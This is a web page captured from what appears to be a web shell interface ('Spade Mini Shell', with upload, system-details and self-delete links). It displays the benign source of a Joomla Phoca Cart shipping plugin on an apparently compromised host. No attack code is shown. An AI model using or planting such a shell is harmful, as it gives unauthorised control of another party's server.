Spade

Mini Shell

Directory:~$ /home/lmsyaran/public_html/plugins/pcs/shipping_standard/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/public_html/plugins/pcs/shipping_standard/shipping_standard.php

<?php
/* @package Joomla
 * @copyright Copyright (C) Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * @extension Phoca Extension
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */

defined('_JEXEC') or die;
jimport( 'joomla.plugin.plugin' );
jimport( 'joomla.filesystem.file');
jimport( 'joomla.html.parameter' );
//jimport('joomla.log.log');
//JLog::addLogger( array('text_file' =>
'com_phocacart_error_log.php'), JLog::ALL,
array('com_phocacart'));
//phocacartimport('phocacart.utils.log');

JLoader::registerPrefix('Phocacart', JPATH_ADMINISTRATOR .
'/components/com_phocacart/libraries/phocacart');

class plgPCSShipping_Standard extends JPlugin
{
	protected $name 	= 'shipping_standard';

	function __construct(& $subject, $config) {
		parent :: __construct($subject, $config);
		$this->loadLanguage();
	}
	/*
	function PCSbeforeProceedToShipping(&$proceed, $eventData) {

		if (!isset($eventData['pluginname']) ||
isset($eventData['pluginname']) &&
$eventData['pluginname'] != $this->name) {
			return false;
		}

		$proceed = 1;
		return true;
	}

	function PCSbeforeSetShippingForm(&$form, $paramsC, $params, $order,
$eventData) {

		if (!isset($eventData['pluginname']) ||
isset($eventData['pluginname']) &&
$eventData['pluginname'] != $this->name) {
			return false;
		}

		return true;
	}

	function PCSbeforeCheckShipping($pid, $eventData) {

		if (!isset($eventData['pluginname']) ||
isset($eventData['pluginname']) &&
$eventData['pluginname'] != $this->name) {
			return false;
		}

		return true;
	}
	function PCSgetShippingBrancheInfoAdmin($pid, $eventData) {

		if (!isset($eventData['pluginname']) ||
isset($eventData['pluginname']) &&
$eventData['pluginname'] != $this->name) {
			return false;
		}

		return true;
	}
	*/
	/*
	function PCSbeforeShowPossibleShippingMethod(&$active, $params,
$eventData){

		if (!isset($eventData['pluginname']) ||
isset($eventData['pluginname']) &&
$eventData['pluginname'] != $this->name) {
			return false;
		}

		// Shipping plugin can disable/deactivate current shipping method in
possible shipping method list based on own rules
		// $active = false;

		return true;

	}
	
	function PCSonInfoViewDisplayContent($data, $eventData){

		if (!isset($eventData['pluginname']) ||
isset($eventData['pluginname']) &&
$eventData['pluginname'] != $this->name) {
			return false;
		}

		$output = array();
		$output['content'] = '';

		return $output;

	}
	*/
	
}
?>